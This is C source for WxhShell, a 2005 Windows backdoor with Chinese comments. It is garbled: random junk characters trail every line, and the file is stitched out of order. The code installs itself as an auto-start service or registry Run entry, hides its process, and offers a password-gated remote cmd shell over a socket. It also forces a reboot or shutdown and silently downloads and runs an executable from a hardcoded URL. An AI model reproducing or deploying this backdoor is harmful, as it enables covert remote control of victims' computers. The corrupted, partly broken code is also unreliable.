  case 'd': { f0D Ch]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $k`8Zx w  
    if(Boot(SHUTDOWN)) KV5lpN PC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4*+EUJ|  
    else { 7@lXN8_f  
    closesocket(wsh); j&Hn`G  
    ExitThread(0); }a9C /t3  
    } p_z"Uwp  
    break; sRZ:9de+  
    } zDl, bLiJ  
  // 获取shell 42wcpSp  
  case 's': { Mb>6.l  
    CmdShell(wsh); CD&m4^X5D  
    closesocket(wsh); AltE~D/4  
    ExitThread(0); +uLo~GdbE  
    break; .d "+M{I  
  } oX}n"5o:  
  // 退出 R{[Q+y'E  
  case 'x': { "T&uS1+=c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '!2t9B8XX  
    CloseIt(wsh); NdNfai  
    break; b}4/4Z.  
    } N/%#GfXx  
  // 离开 (t]>=p%4g  
  case 'q': {  wi9|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *n*y!z  
    closesocket(wsh); r\ %O$zu  
    WSACleanup(); vv0zUvmT  
    exit(1); t3GK{X  
    break; 1}BNG,n  
        } 4jz]c"p-  
  } yQA[X}  
  } epbp9[`  
f oVD+\~Y  
  // 提示信息 iTt=aQjd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \Zv =?\  
} dI !/:x  
  } v$i%>tQ\  
_B1uE2j9  
  return; J:lwq@u  
} {@#L'i|  
0l6iv[qu5w  
// shell模块句柄 /K!,^Xn  
int CmdShell(SOCKET sock) }}1/Ede{5  
{ =| !~0O  
STARTUPINFO si; h(8;7} K  
ZeroMemory(&si,sizeof(si)); o3yqG#dA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (7b_g6>:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]-'9|N*}l  
PROCESS_INFORMATION ProcessInfo; spx;QLo  
char cmdline[]="cmd"; 2SJh6U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U(N$6{i_  
  return 0; M([H\^\:  
} \!QF9dP4  
5lxq-E3  
// 自身启动模式 z{g<y^Im+E  
int StartFromService(void) I7PWO d  
{ 9AYe,R  
typedef struct @c !67Z  
{ 4) 3pa*  
  DWORD ExitStatus; 12PE{Mut  
  DWORD PebBaseAddress; lDU:EJ&DHE  
  DWORD AffinityMask; !5OMAWNU@  
  DWORD BasePriority; BNCJT$t YX  
  ULONG UniqueProcessId; sOxdq"E  
  ULONG InheritedFromUniqueProcessId; a1`cI5n  
}   PROCESS_BASIC_INFORMATION; .:ZXtU  
&iOtw0E  
PROCNTQSIP NtQueryInformationProcess; Hm* vKFhz  
3K!0 4\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |2<f<k/UT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $cOD6Xr)d  
1:!rw,Jzl`  
  HANDLE             hProcess; W-PZE|<  
  PROCESS_BASIC_INFORMATION pbi; -NPk N%h  
(bt]GAxb1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'h^DI`  
  if(NULL == hInst ) return 0; $JB:rozE  
g yQ9Z}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =(X'c.%i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LXC`Zq\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e-cb?.WU?  
G^ZkY  
  if (!NtQueryInformationProcess) return 0; ^Ai_/! "  
.r|vz6tU?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &E &iaw!  
  if(!hProcess) return 0; '%!M>rY,  
=Xjuz:9D~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r)5\3j[P  
A]?O& m |  
  CloseHandle(hProcess); c;rp@_ULG?  
J8v:a`bX&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h==GdS4  
if(hProcess==NULL) return 0; 8}oDRN!J  
f5GR#3-h(  
HMODULE hMod; 9T,QW k  
char procName[255]; '}`hY1v  
unsigned long cbNeeded; a61eH )a  
{qWG^Db  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E9d i  
q uGPk)c  
  CloseHandle(hProcess); LEngZ~sV/  
h!N&gZ[0  
if(strstr(procName,"services")) return 1; // 以服务启动 X_({};mz  
<SM&VOiaOz  
  return 0; // 注册表启动 Mr NOcx&  
} } o"_#\6  
 .02(O  
// 主模块 =@KYA(D  
int StartWxhshell(LPSTR lpCmdLine) ?*R^?[  
{ ?3TK7]1V:  
  SOCKET wsl; (bFWT_CChz  
BOOL val=TRUE; i)=89?8  
  int port=0; l6B^sc*@  
  struct sockaddr_in door; gqdB!l4  
K aQq[a  
  if(wscfg.ws_autoins) Install(); :y-0qz D?  
&Y>~^$`J  
port=atoi(lpCmdLine);  mz VuQ  
A[ECa{ v  
if(port<=0) port=wscfg.ws_port; W8yfa[z~J  
D@(M+u9/%  
  WSADATA data; ({_:^$E\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )Kk(P/s  
Fma`Cm.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;*4tVp,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t6%xit+  
  door.sin_family = AF_INET; FP'u)eU&3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SeZT4y*=  
  door.sin_port = htons(port); G E~(N N  
&iND&>?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Xq^y<[  
closesocket(wsl); ^z%o];  
return 1; }M9DqZ;I  
} Nzi/3r7m  
i3 l #~  
  if(listen(wsl,2) == INVALID_SOCKET) { [mB(GL  
closesocket(wsl); rxgVT4  
return 1; \, %o>M'  
} }u3H4S<o  
  Wxhshell(wsl); L >Ez-  
  WSACleanup(); "'}v0*[  
%I|+_ z&x  
return 0; vBnKu  
$XQ;~i   
} q:- ]d0B+  
l q\'  
// 以NT服务方式启动 F'UguC">  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z}K.^\S9  
{ ,+NE:_  
DWORD   status = 0; tgvpf /cQ  
  DWORD   specificError = 0xfffffff; & GzhcW~  
@RoRNat  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0(hv#C4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; orQV'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 17n+4J]  
  serviceStatus.dwWin32ExitCode     = 0; V^Mf4!A(y  
  serviceStatus.dwServiceSpecificExitCode = 0; J+cAS/MYX  
  serviceStatus.dwCheckPoint       = 0; {Ukc D+.Y  
  serviceStatus.dwWaitHint       = 0; }[KDE{,V  
6& &}P79  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Pi"~/MGP$  
  if (hServiceStatusHandle==0) return; A^4kYOe  
EBIa%,  
status = GetLastError(); vNK`Y|u@  
  if (status!=NO_ERROR) fNAo$O4cm  
{ 0[2BY]`Z.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X#p o|,Q  
    serviceStatus.dwCheckPoint       = 0; G>[ NZE  
    serviceStatus.dwWaitHint       = 0; qr'x0r|<>  
    serviceStatus.dwWin32ExitCode     = status; \C+*loLs  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~`~%(DA=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z)ft3(!  
    return; 0279g   
  } 4Wi8 $  
 9+'@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M}=s3[d(,  
  serviceStatus.dwCheckPoint       = 0; #7-kL7 MK]  
  serviceStatus.dwWaitHint       = 0;  \8>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0\EpH[m}-  
} k%Ma4_Z  
Qc&-\kQ:$u  
// 处理NT服务事件,比如:启动、停止 SLQ\Y%F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SG dfhno;  
{ wr3_Bf3]  
switch(fdwControl) xs2,t*  
{ j[m_qohd7  
case SERVICE_CONTROL_STOP: IDGQIg  
  serviceStatus.dwWin32ExitCode = 0; |5}rX!wS4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vgh ^fa!/  
  serviceStatus.dwCheckPoint   = 0; j.=UI-&m  
  serviceStatus.dwWaitHint     = 0; |<j,Tr1[  
  { !"`@sd~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -~v l+L  
  } [l8V<*x%S9  
  return; %k3NT~  
case SERVICE_CONTROL_PAUSE: ,>bGbx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [)Z 'N/;0  
  break; '!j #X_;  
case SERVICE_CONTROL_CONTINUE: .%x"t>]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?q d,>  
  break; i\kTm?BQZ  
case SERVICE_CONTROL_INTERROGATE: F,p`- m[q  
  break; O8K@&V p  
}; wMH[QYb<*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "8wf.nZ  
} 0`VD!_`  
w+Z--@\  
// 标准应用程序主函数 "*Lj8C3|n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8 3z'#  
{ :X'*8,]KHH  
z +3<$Z  
// 获取操作系统版本 )z2|"Lp  
OsIsNt=GetOsVer(); 5y1or  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kq)+@p  
1s{ISWm  
  // 从命令行安装 u @{E{  
  if(strpbrk(lpCmdLine,"iI")) Install(); pY+.SuM  
d\~p5_5.  
  // 下载执行文件 L.C ^E7;Z_  
if(wscfg.ws_downexe) { zY7*[!c2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (v|r'B9 b  
  WinExec(wscfg.ws_filenam,SW_HIDE); "rme~w Di  
} g".d"d{  
Ys"|</;dbj  
if(!OsIsNt) { ,vY)n6  
// 如果时win9x,隐藏进程并且设置为注册表启动 uL2"StW  
HideProc(); .ocx(_3G  
StartWxhshell(lpCmdLine); Zu\p;!e  
} Q0pC4WJ`  
else Q)x?B]b-  
  if(StartFromService()) w{k1Y+1  
  // 以服务方式启动 1a7!4)\  
  StartServiceCtrlDispatcher(DispatchTable); AddGB^7yl  
else :y=!{J<  
  // 普通方式启动 k_,MoDz  
  StartWxhshell(lpCmdLine); 5h_<R!jA  
!UBy%DN~k  
return 0; [8,PO  
} O0@w(L-  
6eOrs-ty  
mND XzT&  
YS]>_  
=========================================== aQ(`6DQv  
Z} c'Bm(  
_LJ5o_-N  
 uY.=4l  
v#RW{kI  
285_|!.Y  
" w- UKMW9"  
mgy"|\]  
#include <stdio.h> {F'Az1^I=  
#include <string.h> T#\p%w9d  
#include <windows.h> J__;.rnk  
#include <winsock2.h> ykxbX  
#include <winsvc.h> q^Z~IZ8IT  
#include <urlmon.h> +p13xc?#j  
- G8c5b[  
#pragma comment (lib, "Ws2_32.lib") VBu8}}Ql  
#pragma comment (lib, "urlmon.lib") z )5S^{(  
wb]*u7G t/  
#define MAX_USER   100 // 最大客户端连接数 #2h+dk$1  
#define BUF_SOCK   200 // sock buffer Ds {{J5Um%  
#define KEY_BUFF   255 // 输入 buffer i\(\MzW*'  
M(qxq(#{U  
#define REBOOT     0   // 重启 3rxo,pX94  
#define SHUTDOWN   1   // 关机 CXTt(-FT  
kGpV;F==*  
#define DEF_PORT   5000 // 监听端口 Ee&hG[sx  
>Z *iE"9"  
#define REG_LEN     16   // 注册表键长度 b& V`<'{  
#define SVC_LEN     80   // NT服务名长度 yc*<:(p  
>B0D/:R9  
// 从dll定义API _)Qy4[S=d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); , Hn7(^t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  VJ3hC[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $Z/klSEf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z)/6??/R  
Kaf>  
// wxhshell配置信息 `8,w[o oC2  
struct WSCFG { PfyRZ[3)c  
  int ws_port;         // 监听端口 fCB:733H  
  char ws_passstr[REG_LEN]; // 口令 w TlGJ$D0  
  int ws_autoins;       // 安装标记, 1=yes 0=no sYI~dU2H  
  char ws_regname[REG_LEN]; // 注册表键名 QjLji +L  
  char ws_svcname[REG_LEN]; // 服务名 p"KU7-BfvC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O:1DOUYXs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -PM)EGSk{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U| 8[#@r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no So#dJ>   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -n$ewV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CD}Ns  
Yb}w;F8(  
}; 3w Z(+<4i  
i|%5  
// default Wxhshell configuration Kh)F yV  
struct WSCFG wscfg={DEF_PORT, _vL<h$vD  
    "xuhuanlingzhe", cS}r9ga Q  
    1, P<u"97@8a  
    "Wxhshell", 6^sHgYR  
    "Wxhshell", e&2wdH&  
            "WxhShell Service", @&5A&(  
    "Wrsky Windows CmdShell Service", 4b4QbJ$  
    "Please Input Your Password: ", aM$\#Cx  
  1, eaQ90B4  
  "http://www.wrsky.com/wxhshell.exe", f/ajejYo?,  
  "Wxhshell.exe" AliRpxxd  
    }; k,rWa  
FSU<Y1|XM  
// 消息定义模块 H>.B99vp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >dk 9f}7-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .jU Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "<*awWNI  
char *msg_ws_ext="\n\rExit."; -u|l}}bh  
char *msg_ws_end="\n\rQuit."; -l "U"U"F  
char *msg_ws_boot="\n\rReboot..."; 0O~p7D  
char *msg_ws_poff="\n\rShutdown..."; M/{g(|{  
char *msg_ws_down="\n\rSave to "; A:eG5K}  
kM!V .e[g  
char *msg_ws_err="\n\rErr!"; ?>V6P_r>  
char *msg_ws_ok="\n\rOK!"; Tr&E4e  
o'Pu'y  
char ExeFile[MAX_PATH]; A W)a">|  
int nUser = 0; 6Nt$ZYS  
HANDLE handles[MAX_USER]; (;}tf~~r  
int OsIsNt; # .<V^  
6^;^rUlm  
SERVICE_STATUS       serviceStatus; Pd~MiyO;K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2J<&rKCF  
hmZvIy(  
// 函数声明 yG&2UqX  
int Install(void); iITp**l  
int Uninstall(void); C0fmmI0z~  
int DownloadFile(char *sURL, SOCKET wsh); Qw?+!-7TN  
int Boot(int flag); !8*McO I  
void HideProc(void); 'L{p,  
int GetOsVer(void); gDCOLDM  
int Wxhshell(SOCKET wsl); ]TSg!H  
void TalkWithClient(void *cs); m_* R.a  
int CmdShell(SOCKET sock); .#fPw_i  
int StartFromService(void); :[sOKV i  
int StartWxhshell(LPSTR lpCmdLine); K;U39ofW  
kX[fy7rVt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); We}lx{E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z^zbWFO]5  
? } (=  
// 数据结构和表定义 %M&3VQ9w  
SERVICE_TABLE_ENTRY DispatchTable[] = aq Mc6N`z  
{ t)N;'v  &  
{wscfg.ws_svcname, NTServiceMain}, j$x)pB3]  
{NULL, NULL} u,7zFg)H  
}; o2=A0ogz?  
K=6UK%y A  
// 自我安装 \DA$6w\\  
int Install(void) \Hwg) Uc{  
{ +y&d;0!  
  char svExeFile[MAX_PATH]; ?t rV72D  
  HKEY key; `.=sTp2rbc  
  strcpy(svExeFile,ExeFile); ~ y;y(4<  
* OsU Y=;  
// 如果是win9x系统,修改注册表设为自启动 o>c ^aRZ{  
if(!OsIsNt) { #SkX@sl@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8g*hvPc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *7" L]6  
  RegCloseKey(key); 4_LQ?U>$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :?CQuEv-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y ?'tUV  
  RegCloseKey(key); &Un6ay  
  return 0; PuXUuJx(  
    } ,P6=~q3k  
  } aMK~1]Cx  
} 5HlWfD  
else { ksWSMxm  
X=~V6m  
// 如果是NT以上系统,安装为系统服务 Ct]A%=cZW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?a.+j8pbGg  
if (schSCManager!=0) ZPO|<uR  
{ 7*s8 ttX  
  SC_HANDLE schService = CreateService RFko>d  
  ( "Xn%at4  
  schSCManager, 9"sDm}5%  
  wscfg.ws_svcname, 0a2@b"l  
  wscfg.ws_svcdisp, cDV ^8 R  
  SERVICE_ALL_ACCESS, $h28(K%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !gP0ndRJ=  
  SERVICE_AUTO_START, ]gEhE  
  SERVICE_ERROR_NORMAL, Owf.f;QR  
  svExeFile, )1F<6R  
  NULL, 'C?NJ~MN  
  NULL, Qw)9r{f  
  NULL, }$g mK  
  NULL, M>l^%`  
  NULL R,Oe$J<  
  ); |(% u}V?  
  if (schService!=0) Zzj0\? Ul  
  { } /:\U p  
  CloseServiceHandle(schService); wW`}VKu  
  CloseServiceHandle(schSCManager); A6UO0lyu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uDayBaR  
  strcat(svExeFile,wscfg.ws_svcname); ^O6* e]C$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [-w@.^:]X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RT*5d;l0  
  RegCloseKey(key); nr2r8u9r  
  return 0; Llz[ '"m  
    } HDIk9WC^  
  } Z=+03  
  CloseServiceHandle(schSCManager); <I=$ry6 8  
} cH D%{xlb  
} "uD= KlA  
?o[L7JI  
return 1; lDc;__}Ws  
} . (`3JQ2s  
r;qzo .  
// 自我卸载 p!W[X%`)  
int Uninstall(void) z?ucIsbR  
{ 4]XI"-M^D  
  HKEY key; "x*-PFT  
,&]MOe4@>  
if(!OsIsNt) { '2^ Yw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3071:W  
  RegDeleteValue(key,wscfg.ws_regname); #DI$Oc  
  RegCloseKey(key); /-Qv?"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p25Fn`}H  
  RegDeleteValue(key,wscfg.ws_regname); +,flE= 5]s  
  RegCloseKey(key); >3D7tK(  
  return 0; fCX*R"  
  } ;")A{tX2  
} 8cVzFFQP  
} 5EeDHsvV9  
else { yA7 )Y})>  
~&VN_;j_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v}uJtBG(  
if (schSCManager!=0) &__DJ''+  
{ /"#4T^7&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (ku5WWJ  
  if (schService!=0) Z(Q2Ue;}&  
  { \t.}-u<7{  
  if(DeleteService(schService)!=0) { TEVI'%F  
  CloseServiceHandle(schService); XutF"9u  
  CloseServiceHandle(schSCManager); *\XH+/]+  
  return 0; 8{I"q[GZ  
  } rT7^-B*  
  CloseServiceHandle(schService); Un@\kAY  
  } "{BqtU*.  
  CloseServiceHandle(schSCManager); xJ(:m<z  
} aXR%;]<Dw  
} t[C1z  
d'HOpJE  
return 1; |. C1|J'Z  
} _sMs}?^  
r%=[},JQ  
// 从指定url下载文件 _p}xZD\?,  
int DownloadFile(char *sURL, SOCKET wsh) +m$5a YX  
{ #V_GOy1-  
  HRESULT hr; m J  
char seps[]= "/"; F=wRkU  
char *token; :Jxh2  
char *file; $\\lx_)  
char myURL[MAX_PATH]; j, u#K)7{T  
char myFILE[MAX_PATH]; )pgrl  
`y!/F?o+!  
strcpy(myURL,sURL); >-cfZ9{!  
  token=strtok(myURL,seps); f~M8A.  
  while(token!=NULL)  '3 ,\@4  
  { Ex(3D[WmMW  
    file=token; \M+L3*W  
  token=strtok(NULL,seps); xHkxc}h  
  } :pC;`iQ  
'Cg{_z.~c  
GetCurrentDirectory(MAX_PATH,myFILE); lF4u{B9DM  
strcat(myFILE, "\\");  i g71/'D  
strcat(myFILE, file); X>l*v\F9  
  send(wsh,myFILE,strlen(myFILE),0); G*n2Ii  
send(wsh,"...",3,0); j$@tK0P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gA^q^>7  
  if(hr==S_OK) yfe'>]7  
return 0; %%}A|,  
else ^gR+S  
return 1; ]qktj=p  
_a -]?R  
} {BV4h%P]:  
XB\zkf_}Xc  
// 系统电源模块 6Z! y  
int Boot(int flag) d/U."V}  
{ p+w8$8)  
  HANDLE hToken; T[uDZYx  
  TOKEN_PRIVILEGES tkp; O.+9,4A(  
"^rNr_  
  if(OsIsNt) { wyY*:{lZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o'= VZT9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _6LoVS  
    tkp.PrivilegeCount = 1; isK;mU?<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~brFo2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pB01J<@m  
if(flag==REBOOT) { +"!aM?o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *Xr$/N  
  return 0; zK5bO= 0j  
} .{so  
else { 1mW%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oyeG$mpg  
  return 0; YD_]!HK}  
} AFm1t2,+;  
  } < oI8-f  
  else { AXW!]=?X  
if(flag==REBOOT) { nWgv~{,x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]7/gJ>g,  
  return 0; P]6}\ ]~  
} ')TPF{\#  
else { GESXc $E8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 284zmZZ  
  return 0; 96ZdM=  
} ltA/  
} PZ OKrW  
a(x?fa[D  
return 1; v3^|"}\q5  
} 8Qrpa o  
^Kq|ID AP  
// win9x进程隐藏模块 ^ eh /HnJs  
void HideProc(void) HnZPw&*  
{ ^ddO&!U  
!: us!s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5K.+CO<  
  if ( hKernel != NULL ) m_lr PY-  
  { v'ay.oVzw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =>LZm+P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RU_L<Lpi  
    FreeLibrary(hKernel); TQ'E5^  
  } S@}4-\  
5P ke8K  
return; 32>x^>G=>  
} _l&ucA  
`wO}Hz  
// 获取操作系统版本 9([6d.`~  
int GetOsVer(void) nX[;^v/  
{ ZK dh%8C  
  OSVERSIONINFO winfo; N}Q FGX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [)|+F wJ  
  GetVersionEx(&winfo); KH<v@IJ\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2C/%gcN >  
  return 1; x ^vt; $  
  else <r\I"z$  
  return 0; p:[LnL  
} DeQDH5X"  
3% vis\~^  
// 客户端句柄模块 dgc&[  
int Wxhshell(SOCKET wsl) T33|';k  
{ u''BP.Y S  
  SOCKET wsh; YoSQN/Z  
  struct sockaddr_in client; @ss):FwA  
  DWORD myID; +R\~3uj[7  
|63Y >U"  
  while(nUser<MAX_USER) Tg''1 Wl*  
{ jnBC;I[:  
  int nSize=sizeof(client); o)I/P<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fd8hGj1  
  if(wsh==INVALID_SOCKET) return 1; d*-Xuv  
_s>^?x}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3,$iG e  
if(handles[nUser]==0) WU\m^!`w=F  
  closesocket(wsh); F`& >NQb  
else nCaLdj?  
  nUser++; 5*j:K&R-.K  
  } p24.bLr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (%DRt4u <H  
HdCk!Fv  
  return 0; s[V `e2O  
} l,y^HTc}7/  
x0G>ktWq<  
// 关闭 socket GOr}/y;  
void CloseIt(SOCKET wsh) VGJDqm!  
{ _rjBc ;a  
closesocket(wsh); ,nYZxYLf+  
nUser--; cU | _  
ExitThread(0); !5.v'K'  
} 5 ,ZRP'oI  
g :i*O^c @  
// 客户端请求句柄 t)(v4^T  
void TalkWithClient(void *cs) JQT4N[rEE  
{ 1t2cY;vJ  
:,YLx9i>  
  SOCKET wsh=(SOCKET)cs; RV92qn B  
  char pwd[SVC_LEN]; wE2x:Ge:  
  char cmd[KEY_BUFF]; 78w4IICk  
char chr[1]; D_ ug-<QT  
int i,j; cx:jUsb6  
8IOj[&%0  
  while (nUser < MAX_USER) { B;c=eMw  
*vs~SzF$  
if(wscfg.ws_passstr) { +Ag#B*   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k2uBaj]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t>oM%/H  
  //ZeroMemory(pwd,KEY_BUFF); 0UjyMEiK  
      i=0; Q)dT(Td9~  
  while(i<SVC_LEN) { $4h04_"  
~UW{)]_jox  
  // 设置超时 8Mb$+^zU  
  fd_set FdRead; M6x;BjrV  
  struct timeval TimeOut; Y[,U_GX/R  
  FD_ZERO(&FdRead);  >fwlg-  
  FD_SET(wsh,&FdRead); Eq7gcDQ  
  TimeOut.tv_sec=8; G>j "cj  
  TimeOut.tv_usec=0; +V89J!7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S41)l!+2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g TD%4V  
STRyW Ml  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZjavD^ky  
  pwd=chr[0]; HnK/A0jM  
  if(chr[0]==0xd || chr[0]==0xa) { [Ekgft&  
  pwd=0; 5j1 IH,yW  
  break; d!!3"{'  
  } + 1f{_v  
  i++; f>4+,@G   
    } _<Vg[ -:1  
b)y<.pS\  
  // 如果是非法用户,关闭 socket {4)5]62>u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )SD_}BY%k  
} |vT=Nnu  
vT}pbOTh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NIL^UN}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qIk )'!Vk  
]o!&2:'N`  
while(1) { 'F6#l"~/  
(ai72#nFtb  
  ZeroMemory(cmd,KEY_BUFF); C64eDX^  
-%N}A3m!5  
      // 自动支持客户端 telnet标准   rZ 6@b  
  j=0; jaNH](V  
  while(j<KEY_BUFF) { '[xut1{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A7e_w 7?a  
  cmd[j]=chr[0]; ]q37Hj  
  if(chr[0]==0xa || chr[0]==0xd) { +E `063  
  cmd[j]=0; Z%A<#%    
  break; @Zh8 QI+  
  } Xe> ~H4I9  
  j++; 81cv:|"  
    } L1:}bH\y  
 *X0K2|  
  // 下载文件 v.]'%+::#  
  if(strstr(cmd,"http://")) { iiQ||P}5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^$6bs64FSm  
  if(DownloadFile(cmd,wsh))  bsD'\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #d$d&W~gE  
  else <vO8_2,V-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <w%DyRFw3  
  } EgCp:L{  
  else { ]Oig ..LJ  
